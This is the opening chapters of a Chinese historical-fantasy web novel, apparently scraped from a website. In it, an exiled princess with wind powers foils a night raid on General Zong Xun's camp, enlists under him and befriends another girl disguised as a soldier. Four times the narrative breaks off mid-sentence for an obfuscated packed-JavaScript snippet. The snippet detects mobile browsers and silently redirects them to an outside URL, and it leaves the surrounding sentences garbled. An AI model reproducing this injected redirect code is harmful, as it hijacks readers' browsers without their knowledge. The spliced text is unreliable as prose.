《战神？我罩了！》 1. 檐下初逢 是夜，暴雨如瀑。 燕风缩在山壁上的洞穴里，已将那座营地里里外外观察了整整一个月。 得出的结论是：可以进去了。 外哨换班的间隙有半刻钟，够用。主帐的位置她也清楚，在中军偏左，傍晚能看见透出来的灯火。万事俱备，只欠一个她至今没想好的东西—— 见到那人之后，说什么？ “我曾在你父亲麾下”？ 不成。 这句话后面跟着太多禁忌。宗将军怎么死的，他的儿子，那个叫宗恂的年轻将领知道多少，他又是什么立场，她一概不清楚。她是这事仅存的知情者，绝不可轻易把底细托付。 于是她就这么在山洞里窝着，一天一天地拖，理由每天都不一样，总归是有的。 然后那些黑影出现了，就在这个暴雨夜。 燕风眯起眼睛，在心里把各种可能过了一遍。也许是自己人有什么不好说的私事，也许是哨兵走错了路，也许是她在这山洞里窝久了，眼神出了偏差—— 直到那些黑影分散开来，靠着大雨的掩护，朝营地里鬼鬼祟祟地潜入。 燕风咬了咬后槽牙，从洞口爬了出来。 先前那些借口，这一刻全都不算数了。她跟着这支大军跋山涉水走了几个月，就算最后什么都没做成，眼下这个也绝不能装没看见。 然而落地之后，雄心壮志很快就叫现实兜头浇了一盆冷水。 她不认路啊！ 理论上，这座营地她已经摸透了。可实际上今夜她已经是第三次路过同一辆破马车，认出它全凭右边那个轮子卡着半截草。她在心里默默向这辆马车道了声谢。 这不能怪她。燕风在心里为自己申辩，要怪只能怪这营地的规划者毫无章法，一万人的驻地，帐子挨着帐子，绕来绕去。 她不是不能跃上帐顶看个究竟，只是做贼这些年，从没见过哪个同行把自己摆在比人头高不了多少的地方，四面八方一览无余，那不叫占据制高点，那叫把自己当灯笼挂。 燕风蹲在马车旁的阴影里，觉得额角突突地跳。 不能再等了，真的不能再等了，再等天都要亮了！ 她踮起脚尖，足尖一点，整个人霎时腾空而起。雨幕在身侧齐刷刷分开，颇有几分一剑破云、舍我其谁的意思——可惜恰和一个从坡上下来的黑影撞个正着。 两个人都没发出声音。 这需要很高的素质，或者是因为两边都吓傻了。燕风脑子里轰地一声，下意识抬手，指尖气息刚转起来，却对上了一双同样惊惶，在兜帽下睁得溜圆的眼睛。 两个人对视了大约半息。 然后那人率先别开脸，以一种颇为失态的姿势扎进了雨幕，眨眼没了影。 燕风站在原地，把手慢慢放了下来。 ……也好，算是她气势惊人，吓退了贼子。 她定了定神，朝着贼子本要去的方向，重新迈开了步子。终于在重重雨幕后方，看见了透出来的一点灯火。 这一刻，终究还是来了。 再不敢耽搁，她掀开帘子，跳了进去—— 枪风与她闯入的气息几乎同时炸开。寒芒在雨夜浸透的瞳孔里急速放大，直奔咽喉。 “误会！饶命！” 枪尖在喉前三寸定住，嗡鸣震颤，带着摄人的杀意。 燕风大气不敢喘，就那么僵在原地，眼睁睁看着持枪的人在摇曳的烛火里把她从头到脚打量了一遍。 她也在看他。氅衣半披，发梢未干，眉峰蹙起，那人比她想象中的要俊俏得多。俊俏到某个尘封的记忆碎片，忽然从她脑子里冒了出来。 等等。 燕风盯着他的脸，把那道正在成形的念头飞快捋了一遍。 原来宗恂，是你啊！ 她深吸了一口气，手忙脚乱地往怀里摸。这世上真正属于她的东西不多，那本揣在最贴身位置的旧册子就是一件。她掏了出来，双手举到他面前。 宗恂收回了长枪，那册子他认得，封皮上是他亲手写的字。 彼时他因父亲而入宫为质，华丽牢笼里唯一的自在便是清晨寻个偏僻处练剑。那时总有个小影子缩在檐上偷偷看他，临走时他留下了这本入门武册，权当那几年沉默陪伴的谢礼。 他抬眼，今日是第一次檐下相见，那小影子已长成了个亭亭的女郎。 “是你啊。” 燕风眼中骤然亮起光彩：“宗将军，长话短说。我叫燕风，从京城一路跟随大军而来。今夜冒犯，是因我看到有一伙人趁雨鬼鬼祟祟往营地里潜。将军，敌暗我明，请速决断！” 宗恂心头凛然，这预警关乎全军安危，宁可信其有。他不多言，当机立断取下壁上挂的一把大弩，随着燕风出了军帐。 雨声轰然贯耳，视线尽没于厚重雨幕。远处的哨塔灯倒还亮着，但远眺只能看到一点迷蒙灯火。 宗恂踏入雨中，但预想中的浇透却未到来。 一道无形的屏障精准笼住他周身，将暴雨轻柔拨开。雨水在身前三寸外溅落，水汽氤氲，衣履竟只沾了层薄湿。 宗恂转头。燕风就在他身侧半步，神情专注。仿佛有风自成结界，却独独只将二人护在其中。 这绝非世间任何功法所能解释！ 燕风似有所觉，飞快地瞥他一眼：“些许取巧之法，让将军见笑了。” 她随即抬手指向东面哨塔方向：“将军，请看那边哨塔！我来的时候，正好看到有几人在往上爬。” 刹那间，顺着她手指的方向，雨线如被利刃剖开，远处哨塔的轮廓骤然变得清晰， 塔上的景象让宗恂心中一震：原本只应有二至三名哨兵值守的塔楼，此刻人影憧憧，竟有七八个黑衣身影在晃动！ 无需再疑。 他立即卸弩挽弓，弦绷如满月：“你看到他们有多少人？” “不多，只有百余人，将军要射哨塔上的铜锣吗，我来助您一臂之力。” “好。” 话音刚落，一支飞羽箭伴着利啸，穿雨破风而去，从哨塔上一个影子的脖颈擦过，撞向了警示用的铜锣。金属的箭头重击了锣面，发出了震耳欲聋的撞击声。 紧接着锣面剧震狂摆，如同被无形之手操纵，接连砸向周围几名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485507|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哨兵的头顶。哐哐七八声闷响混着惨叫，营地里睡得再死的人也被惊醒了。 “什么动静？敌袭！” 如同滚油中被投入火星，整个营地瞬间炸开。 各处营帐骚动起来，呵斥声、刀剑出鞘声、匆忙脚步声、混着暴雨雷鸣，汇聚成一片混乱的喧嚣。 宗恂掷弩于地，反手拔出腰间佩刀，对燕风低喝一声：“跟紧我！”便向吼声与骚乱最集中的中军营帐区域冲去。 燕风维持着周身的风息，也紧紧跟上。 战斗，或者说骚乱，比预想中结束得要快得多。 当宗恂赶到时，核心区域的混乱已近尾声。空地上横七竖八倒着许多具黑衣尸体，雨水混着血水，在地面低洼处汇成暗红色的溪流。 营地士兵们举着油布伞或干脆淋着雨，围在四周，大多衣衫不整，面带惊惶。几个年纪小的已躲到人后，止不住地干呕。 相比之下，营地里的伤亡倒是轻得多。除了哨塔上两名哨兵不幸罹难，便只有团教头俞大钟屁股上挨了一刀。伤口不深，但位置着实尴尬。 俞大钟被两名亲兵搀着，依旧声如洪钟，正对着宗恂汇报： “将军！这些贼人拢共也就百来号人，咱营地却驻扎了一万将士。我看啊，他们本就图个奇袭，一旦被发现，就丝毫没有胜算。幸亏发现得早，锣一响，他们立马就乱了，一看没戏，个个都服毒了，倒是硬气！” 在旁撑伞的另一名教头觑了觑宗恂的脸色，调笑道：“俞兄命好，那贼子砍来的时候他恰好趴着睡，若是仰着睡，俞兄弟的子孙福，恐怕是要断了。” 俞大钟扶着屁股的手一顿，嗫嚅道：“老哥这时候还消遣我……不过也是，真险。就是这刀口，偏生跟我那老痔疮凑一块了，这下好了，雪上加霜，遭罪哟。” 人群里传来了几声笑，多少缓和了些气氛。 就在这片稍显松弛的嘈杂中，宗恂忽然感到身上一凉。几点雨滴，毫无预兆地穿透了什么，落在他手上。 他微微一怔，下意识抬头。 一直笼罩周身、将暴雨隔绝在外的柔和气流，此刻正快速消散。 风雨声骤然变得真切而粗暴。 他的头顶上早就被亲兵撑起了伞，然而雨线还是瞬间打湿了他的鬓角与肩头。 宗恂的目光越过伞沿，迅速扫过四周。火光中人影往来，唯独不见方才那个闯入的身影。 那女郎不知何时已经走了。 一如她来时。偌大一座军营，她行动自如，竟似入无人之境。 “将军？”亲兵低声询问。 宗恂收回目光，静了一瞬，才道：“无事。” 燕风并未离开，她独自立在大帐旁的阴影里，望着远处发愣。 此刻，积年累成的复杂情绪在胸口起伏，压得她快喘不过气。于是她索性松去几分风术，任冷雨慢慢浸透全身。 雨水顺着脸颊滑落，渐渐沥去了纷杂的思绪，却也让某个目标愈发清晰。 她必须留下来。 至于用什么借口——这个问题她思虑了整整三年，今夜，好像得了个好答案。 2. 夜谈 等到安排人搭了雨棚子，稍稍安置了那些尸体，已经是后半夜了。 宗恂撑伞走回将军帐，帐前已经站了一人。 “方才去哪了？” 宗恂把伞拢了挑开帘帐。这伞是刚刚一个校尉递给他的，在这瓢泼大雨中聊胜于无。 燕风跟在他后面进了帐。 “见无危险，便先回来了。”她说着，拣了块地面坐下。衣角与发梢还在滴水，很快身下也洇开一片深色的水痕。 她扶了扶额角，一脸疲态。见他看来，又朝他尴尬地笑了笑。 她这副狼狈的样子落在他眼里，却像有人拿了把钝刀，在他掌心硬茧上不轻不重地一蹭。 不痛，却泛起一阵粗粝的痒，又勾出几分无名的躁。 燕风看了他一眼，不禁苦笑道：“对不住，害你淋湿了，但引风避雨太打眼了。” 她之前到了有人的地方，立刻停止了使风，使得宗恂湿了一身，只怕因此让他生了不满。 宗恂微笑：“你怎会这样想？” 说着把一套干净的衣服递到了她面前。“换了这一身吧。” 燕风没有接那衣服，只垂眼道：“不必。” 她闭目凝神，不过片刻，她周身竟凭空生出一个小小的气旋，发丝与衣袂无风自动。水汽蒸腾，不多时，那湿透的衣物已干了七八分。 她睁开眼：“这样便好了。”却并不解释自己为何能鼓出这风。 宗恂挑了挑眉，也没追问，反而移开了话题：“对了，你方才说你叫燕风。为何是姓燕呢？你不该是……” “宗将军。” 燕风突然站了起来，可目光却仍垂着，好似鼓足了勇气。 “我能留在您麾下吗？” 宗恂沉默了一瞬，才望着她温和道：“这是为何？你想杀北边的蛮子？” 燕风突然有些恍惚。 这句话，她听过。 五年前，她还是个皇女，却从记事起就在冷宫里，活得不如一条狗。 突然有一天，整个皇宫陷入了巨大的恐慌。 宫女太监们窃窃私语，她从那些碎语里拼凑出一个可怕的消息：她那个从未谋面的父皇，御驾亲征，结果兵败被俘了。北方蛮子的铁骑，正朝着京城滚滚而来。 那些讳莫如深的议论里，充斥着对历史上国破后，宫庭女子惨状的描绘。 她摸到自己脑袋，手心碰到的是扎手的发茬——因为长虱子，她自己用锈剪子把头发绞光了。 她猛地一个激灵，想起来，自己，其实也是个女子。 趁着人心惶惶的当口，她钻狗洞、爬高墙，竟真逃出了那座困了她十二年的黄金笼子。 可宫外的世界，并没有更好。 战乱将至，人人自危，哪有余粮施舍或让她偷？她偷术再精，也常常连着几日找不到一口吃的，只能蜷缩在沟渠边，靠喝脏水压住胃里烧灼的绞痛。 就在她以为自己终于要像野狗一样悄无声息地死掉时，一队人马从街角经过。 她得到了一张饼。 她几乎是用尽最后力气扑过去，狼吞虎咽，噎得直翻白眼。 等她稍微缓过气，抬起头，那队人马已经走远。她不知道哪里来的力气，爬起来，跌跌撞撞地跟了上去。 马蹄嘚嘚，她不合脚的破鞋啪嗒啪嗒。 她跟过一条街，又一条街，直到那为首的大将军再次勒马，回头看向这个执着的小尾巴。 “为何跟着我？” 她听见他问：“你也想杀蛮子？” 她嘴里的饼渣已经舔得干干净净，但肚子里依然空得发慌。她不想跟着谁，也不想杀谁，她只是……还想再要一张饼。 于是，十二岁的她点了点头。 五年后的今日，十七岁的她站在那位大将军的儿子面前。 眼前的青年，与记忆中那个伟岸身影有了些许重叠，却又截然不同：他仿佛有着更为复杂难辨的眼神。 她迎上他询问的目光，再一次点头。尽管如今她心里所想，早已是翻天覆地的其他事。 “这又是何故？”宗恂深深看了她一眼，“你的身份……你可是经历了什么？” 这个问题，她是准备过的。 “我能经历什么？国破之危，天下百姓皆亲历，我亦其中之一罢了。” 她话锋一转，又蹩脚地玩笑道：“将军以为我是什么身份？血脉传承这事其实最不靠谱。太祖文治武功，传到如今堂上这位什么都没剩下。龙子凤孙的血脉若真管用，我又何须站在此处？” “慎言！”宗恂果然轻声斥止了她。 “这样想的人还少么？”燕风轻哼，“我也就在你面前多说几句。” “谁面前也不该。何况你我在今夜之前连名字也不曾通晓。若我是有心之人，光凭你今天这番话，就能让你人头落地。“ “那倒正好！” 燕风颊边因激动泛起薄红：“我对天子不敬，大逆不道之言出了口，命门便攥在将军手里了。此后我对你言听计从，收了我吧！” “我的命是捡来的，本不值什么。若你能让我上阵杀敌，做成一件半件实事，即便来日因此掉脑袋，也算死得其所。” 宗恂对她这反应显然十分意外。 他是知道她来历的：虽然生于冷宫度日艰难，但确然是当今皇帝的一位公主没错。 他又问：“你这样，是为给自己鸣不平？” 燕风微怔，复又咬牙切齿道：“倒被你说中了。身为女子又何妨，我就是要出人头地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485508|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，建功立业。” “既如此，”他淡淡道，“为何选我？总不会只凭儿时那本剑谱。” 若真想建功立业，何不去投奔那些前途光明的主帅？而选他这个前路晦暗的人？ 三年前，皇帝还朝。然在他重夺帝位后不久，宗恂的父亲——那位曾在皇帝被俘期间力挽狂澜的镇国大将军宗谦，竟在边城阳高一役中溃逃而死。 从此，宗恂这个名字，便与那场尸骸蔽野的败逃，再也分不开了。 这些事，她不可能一无所知。 燕风避开了他的目光，桌面下掌心已被自己掐出了红印，语气却刻意放得轻慢： “投军立业，难道还得挑个黄道吉日么？我从前年纪小，尚且不自顾。如今有了点本事，恰巧走到这里罢了。” “况且那些前途无量的将帅，又如何会收我这样一个来历不明的女子？怕是我还未近前，便被无数双眼睛钉在了‘离经叛道’四字上。” 宗恂不置可否，只是看着她。 燕风抿抿嘴唇，好似不耐烦道：“你到底肯不肯收我？无非是多一个小兵驱使。你这营里东拼西凑出来的一万大军里，真能胜过我的，又有几个？” 她眉尾带着些天然的杂乱，此刻高高扬起，衬着那双挑衅般上挑的明亮眼眸，透出一股少年人才有的悍气。 “我的本事你也见到了，却因这身份无处可去；你需要人，何不收了我？总比招揽一个众将争抢的所谓英才来得实在。” “我们都走不得他人眼中的坦途，不正合该同路么？” 她目光笔直地望进他眼里：“还是你也这样迂腐，认定女子不能横刀立马？” 宗恂笑了笑，终于开了口：“莫急，我没说不行。你身手了的，若能入我麾下，怎么看都是我捡了宝。” “很晚了。你既不要我的衣服，可愿一起用些吃的？” 燕风点头。 宗恂先给她倒了一杯水，又递给她一个描金边的木盒。打开来，里头整齐码着精致的糕点，糕面上还印着小小的桂花红印。 燕风伸出的手猛地缩了回去，复又觉不妥，干笑解释：“这样精致的吃食军营里难得，可有寻常些的？” 宗恂笑道：“看来你同我一样不习惯吃甜。” 他收起木盒，取出几张面饼，“那便只剩这个了，委屈你了。” 燕风接过饼，忽然眼眶一热。 她低下头，一口又一口，咀嚼得很用力。仿佛这样，就能把翻涌到喉咙口的，许多不敢说的话，连同饼渣，一起狠狠地咽回肚子里。 她再也没有抬头。 宗恂看在眼里，只轻轻道：“慢些吃。夜深了，我已着人备了一个小帐，吃完就早些回去歇息吧。具体怎么安排你，明日再说。” 3. 噩梦 小帐的帘子刚一落下，燕风便像个卸了筋线的木偶，浑身力气一散，整个人都软了下来。 黑暗中，她用力抹了一把眼睛，拍了脸颊两下，然后利落地躺倒睡觉。 可惜睡得也并不安稳。 她又做梦了。 阳高城里晴空万里，营地里笑骂声此起彼伏。帘子后探出一张缀满络腮胡的大方脸。 “臭崽子，还不起？” 梦里的她还是个顶着毛茸茸光头的小兵。她皱着苦瓜脸，捏着鼻子灌下递来的那碗腥膻的羊乳。 “小子还敢嫌。快起来，找你哥哥们，一同练功去！” 络腮胡嗔骂，提着她的后颈一把把她从被窝里薅起来，扔到了门口。 她揉着眼睛走出去，营地里所有人都看着她笑。 一双粗粝的手掌揉过她的头顶，叮嘱她要多吃，才能长高长壮。一个小个子窜过来，拉住她的手，热气呼在耳边：“将军夫人捎来了酥饼，咱们再去讨几块？” 她看见小小的自己嘟囔：“五哥，你又忘了，我不吃甜！” 小个子怪道：“我不信，酥饼那么好吃！走走走，你定是没吃过好的。这次不一样，那可是宫里的人才能吃的好东西！” 两个人结伴，周围的营帐渐渐变得模糊，天色也暗了下来。 走着走着，她一回头，小个子不见了。 只剩下她一个人。 “五哥？” “你去哪了？” 她的喊声里已带了哭腔。 “你们，不要丢下我一个啊……” 黑暗突然从四面八方涌来，瞬间吞噬了所有光线和声音。一股不可抗拒的力量将她狠狠掼倒在地。她想尖叫，却只吞下满口死寂。 不知过了多久，噼啪声响起。 视野渐渐清晰，空地上，柴垛被火焰从四周点燃，火舌如活物般向内疯狂舔舐，收拢。 火海中央，人影在焦黑中翻滚、扭动、挣扎。 他们早已辨不清面容，但她知道，那是五哥，是络腮胡，是所有方才还在说笑的，她的亲人。 一队骑着矮脚马的黑衣人环绕着火圈，冷眼瞧着活生生的人像肉虫一样在火海上翻涌。领头的那个披着锦缎华服，尖细的笑声像来自地狱的厉鬼。 她嘶吼着抓起石块冲过去。 头人转过脸，嗤笑道，“原还漏了一个。” 她全力掷出的石块落了空，轻飘飘地滚落在地，被一只马蹄轻易碾碎。 黑影如潮水涌来。 突然，火海中央爆出一声怒吼。几块燃烧的木头猛地飞出，直扑那头人面门！ “有暗器！”惊呼炸开的瞬间，她只觉身子一轻。 平生第一次，有风托起了她，带着她越过刀锋，冲出重围。 她没有回头。 但她知道，那所谓暗器，未及飞出火墙，便已化成灰烬。她也知道，在那烈焰之后，有一具宽阔的身躯，至死都挺得笔直，望着她逃走的方向。 燕风蓦然睁眼。 帐内寂静一片，只有自己粗重的呼吸。 她慢慢坐起，伸手摸了摸垂至腰际的长发。 三年了。 她在无边的黑暗里静静坐着，直到心跳与夜色一同沉缓下去。 “莫急。”她对着虚空，无声地翕动嘴唇。 我回来了。 我会替你们报仇。 * 将军帐内，还透着灯光。 卢平犹豫了一会儿，还是隔了帘子问了一声。 听到了宗恂的应声，他才弯腰进去，且一来就行了个大礼，磕头谢罪。 “卢校尉快起，怪不得你。只论轻功，她亦在我之上。” 宗恂埋头在书案上，声音还似往日一般温煦。 卢平起身垂头，背后既有雨水的潮湿，也有冷汗的粘腻。 今夜本是他领人守帐，那百十个贼子离得远也就罢了，可燕风却是实打实地进了内帐，冲到了将军跟前。若她真有不轨之心，那他就是实打实的渎职该死。 将军神色依旧温和，卢平心下却难安。 世人只道宗恂是‘玉将军’，赞其年少成名，战功赫赫，姿仪温润如玉，为人更是和蔼可亲。 可唯有卢平这些自南赣起就跟着他的老人才知道，战场上那尊横枪浴血、不知死活的凶神，才是他的本相。 枪锋扫过，尸山血海，他眉梢溅血犹似含笑。那光景看多了，夜里都觉得渗人。 正因见过这反差，卢平才铁了心留下。 虽说后面发生了些变故，但他还是觉得，跟着一个敢拼命，真能打仗的主将，强过在那些绣花枕头二世祖手下混吃等死。 “元瀚在想什么？”宗恂终于忙完了手头的事儿。 卢平字元瀚，宗恂叫了他的字，而不再称他为校尉，是不追究的意思。 卢平忙摇头。他用宗恂刚才递来的布巾，胡乱擦了擦发茬上的雨水，这才惊觉帐外的雨不知何时已经停了。 寂静放大了所有声音，包括他自己的心跳。 他垂手站着，知道将军还有话。 果然，宗恂好似闲聊，淡淡开口：“今夜之事，你怎么看？” 卢平心里早已打过了腹稿。 “属下觉得甚是蹊跷。这些贼子不过百十人，竟敢来闯我们一万人的营地。若说是偷袭，夜色也不算太深，基本的时机也没算清。况且，一百多号人，死得这样快，不是存了坚定的死志就是提前被喂了药。若是不想被得知身份，可又从尸体里搜出了盖着诸侯私印的空白信纸。真是一团乱麻。” “那燕风呢？” “她……”卢平迟疑一瞬，“似是将军故人？不知究竟……” 宗恂食指朝上，轻轻一点。 卢平瞪大了眼睛：“……真是公主？怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485509|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会在此？” 他见宗恂神色笃定，缓了缓，又低声道：“可她方才那些话……父子天伦，何况天家？将军，这会不会是……一个局？” 他吐出最后一个字，自己先惊出一身冷汗。若真是局，那些贼子便可能是饵，只为将这位公主顺理成章地送到他们中间。 宗恂脸上仍是一片看不透的平静，甚至唇角那点惯常的弧度都没变。 卢平舔了舔发干的嘴唇。 可若是这样，他心底还有个更大的疑团堵着：值得吗？就为了试探一个手握残兵的逃将之后，搭上一个真公主，布下如此复杂的棋局？ 这话他只能烂在肚子里。 “罢了，”宗恂摆摆手，倦意似乎漫了上来，“先回去歇息吧。今夜辛苦了。” 卢平行礼转身，刚走到帐门边，却被宗恂叫住。 “对了，”宗恂像是忽然想起什么，从案头抽出一封已经火漆缄封的信。 “明日若得空，替我把这信交驿官捎回京里，送到兰香馆婉娘手上。” 卢平双手接过。信很薄，漆封却扎实。他心头掠过一丝异样——给勾栏女子的私信，何须如此缜密封缄？若说是一桩风流韵事，可南赣将军府里清简得很，宗将军本人更不像沉湎声色之人。 但这念头也只一瞬。他躬身应下，将信收进怀里。 卢平走到帐门边，手已触到帘布，终究还是没忍住，回头问：“将军会留她吗？” “为什么不？” 他听见将军用一如既往的温煦语调说：“我已答应她了。” * 天边刚显出鱼肚白，军营里已经很热闹了。 江鱼端着一套兵服，往营地的西南角走去。 她故意抹得黝黑的脸庞此刻泛着红，心跳还是扑通扑通的。 这都是因为半刻前，饷营的老陈，专门来新兵营来找她说的一通话。 虽然她现在名义上还是新军营一个拥有无限可能的新人，但因为她特别矮的独特身姿，以及特别差的独特身手，早就被大家内定为将来饷营里的伙头兵。是以姓陈的那个老滑头时不时就来给她派点脏活累活。 以往她一看到陈富那肥脸就心烦得紧，偏偏面子上还得做出一副恭顺的样子。 没想到这次却不一样。 老陈肉脸上带笑，小眼睛眯成两条缝，告诉她军营里来了个新兵，现在需要她帮忙送个兵服交代些规矩。 江鱼松了口气，感觉是个不吃力的活，要知道每天新军营里的训练已经够要她命了。 可老陈说完却不走，肥脸上现出便秘的表情，好半天才扭扭捏捏问江鱼是不是有什么来头，怎么这事是宗将军亲自点名派给她的。 江鱼听了心里也是一惊。 她要是有什么来头哪犯得着女扮男装来军营里混口饭？ 怪了，她这样的小人物，宗将军为什么会记得她的名字？ 4. 同类 宗将军啊。 想起他，江鱼感到心脏又猛跳了一下。 他长得可真俊啊，俊得青桥县十里八乡所有一个女娃子见了都要愧死。 不久前宗将军来新军营巡视。她毕竟还只是一个十几岁的姑娘，看到这样出色的人物免不了就多瞧了几眼，一不小心就和他的视线对上了。 莫不是当时就被发现自己是女扮男装了，不然怎么就记着了她的名字？ 不知不觉就到了陈富说的小帐。 江鱼老远就看到个秀挺的身影，在那帐前的空地上抱膝而坐。 走近一看，只觉得头顶惊雷炸响，她算是明白为什么宗将军点名要她来送兵服了。 因为这新人和她一样，是个闯军营的女人啊！ 这女子看着同她差不多大，也是个顶俊俏的，虽然看着有些憔悴，但也标致得够她移不开眼了。 燕风见了江鱼，便知宗恂来兑现承诺了。可这小兵一直盯着她瞧，无礼的样子倒叫她起了点薄怒。 “在下燕风，敢问阁下手上这套兵服可是给我的吗？” “正是正是。”江鱼听这美人和她搭话，一时有些发懵，忙不迭把兵服递给她，心里竟渐渐高兴起来。 她想，自己的女子身份将军心里显然有了数。他既然没有声张，那便是默许。 现又来了一个，拴着两只蚂蚱的绳子总觉得更稳固些。 更何况，新来的这个，长得实在赏心悦目，作个伴再好不过。 燕风只觉得身边这人笑得莫名其妙。 “阁下还有什么事吗？可有什么需要交代的？” 哪晓得江鱼笑得越发开心了，一屁股坐在了燕风旁边。 “什么阁上阁下的，我叫江鱼，今年十六了，老家在青桥县的山沟沟里。你是哪年生的？家住哪里？” 燕风倒没想到来人如此热情，愣了愣神，乖乖答道：“我……我是昭明四年生的，家，家在燕京。” “昭明四年啊”江鱼掰掰手指算了算，“这么说你比我还大一岁。那我得叫你一声姐姐。不对，这里是军营，那我得叫你哥了。” 燕风默默从江鱼手里扯回了自己的袖沿，“这位小兄弟，还请自重。” “哎呀！怪我手艺太好了，你再仔细瞧瞧我！”说着一把拉着燕风的手往自己胸口探。 燕风瞪大了眼睛，心道哪来的登徒子，一上来就动手动脚，刚要发作，却突然发现手下的触感不对，竟……竟有些软乎乎的。 再瞧对面这张笑得牙花子都快咧到耳根的小黑脸，细看还是有几分独属于女子的秀美的。 “你，你竟是个女子。”燕风被这笑感染，心里也松快了一些。 “怎么，不像吗？”江鱼鼓起腮帮子，佯怒道：“我长得虽比不上你。但也有好几个孃孃说我是我们沙泉村数一数二俊俏的小娘子呢！” 燕风扑哧一笑。 “你笑起来多好看啊。”江鱼捧着脸，感叹道，“方才见你在这呆坐着，和丢了魂儿一样，可怜相的。” “可怜相吗？”燕风不自觉得摸了摸自己的脸，心下懊恼不已。连这小孩子也瞧得出来，别人又怎么会看不出她外强中干呢。 “你看你又来了，愁眉苦脸的。不过也不赖你，若不是真遇到事儿，一个女孩子家家的怎么会往军营里讨生活呢。实话同你说，我刚来的时候也偷摸哭过好几回呢。” 江鱼的身世说来也极坎坷。 她家里五个孩子，前四个都是女儿，她行老四。 世道艰危，大靖战火连绵，偏偏这几年天时也不济，江家守着山间寥寥几亩薄田，一年哼哧苦到头，产出的粮食交了税，剩下的只够家里几口人饿不死。 三个姐姐早几年嫁出去了，江鱼年纪也有十六，本也早该许出去了，可家里小弟才七岁，爹娘年纪大了，干不了重活，有心多留她几年，这样田埂地头也多个劳力。 今年早些时候，隔了几个山头的姑婆来家里说亲，托说媒的那户人家大方，聘礼许了二雌二雄两对肥鸡，十斤精白面和一头壮毛驴，早早就送到了江家爹娘面前，这在沙泉村算得上是顶顶体面。 可没成想竟是遭了骗子。 这边欢欢喜喜刚把女儿送去，那头却脚底抹了油，把刚进门的新妇转头就卖到了窑子里，收了钱全家都跑了。 江大头家的四女命苦啊，这辈子算是毁了。后来收到消息的沙泉村人都这么想。 虽说是从小看大的小囡，但也没人想过去寻。 寻回来又怎样？毕竟进过那种地方了。 可大伙没想到，江鱼机灵，趁人伢子不防备，头一个晚上就逃出来了。 可等到隔着陌生的山山水水，她拖着两条腿终于爬回了家，风言风语长着翅膀早已传遍了整个沙泉村。 江大头翻出了积灰的烟袋，烟雾缭绕地嘬了一整夜。 平时老半天憋不出一个屁的木脑袋，一口气说了两句整话。 “四女，你毕竟进了那种地方，虽说你没被糟蹋，但说出来没人信啊。村头有棵老树，你大方去了，好过一辈子被人戳骨头笑话。” 江鱼娘舍不得，又给她放了出来。 所以江鱼又深一脚浅一脚逃出了沙泉村，正赶上县里征兵。 在做吊死鬼还是饿死鬼的两难选择中，她找了第三条路，一头扎进了军营。 这故事一般女子听了定要流几滴泪叹一句可怜，但燕风听了没什么反应，而是皱着眉头，认真问道： “为什么你爹爹想你吊死？做坏事骗人的又不是你，连收聘礼的都不是你。” 江鱼吃了一惊，“燕姐姐，你怎么这也不懂？我们这些做女子的，清白是最要紧的，落到了那种地方，有理说不清，清白没了，以后没有正经人家敢娶，就只能等着饿死。” “这些是你爹娘同你讲的吗？” “倒也不算，爹不爱讲话，娘不爱同我讲话。哎呀，这些哪里需要特地讲，女孩子长大了，自然而然就明白了。” 见燕风还是若有所思，她又补充道，“不过燕姐姐是燕京来的，燕京是大地方啊，可能那儿的人不讲究这个吧，所以你才不知道。这规矩真是坏透了，不然我也不用提心吊胆地来这儿讨口吃。”江鱼夸张地皱了皱眉头，连鼻子上都挤出了纹。 这青春俏皮的样子让燕风想起了从前见过的那些爱撒娇的少女。她们有时也会愁眉苦脸的，但只是在抱怨没拿到最时兴的蜀锦。 “那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485510|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢？你为什么来这，还这样就来了，好歹梳个男人头吧。” 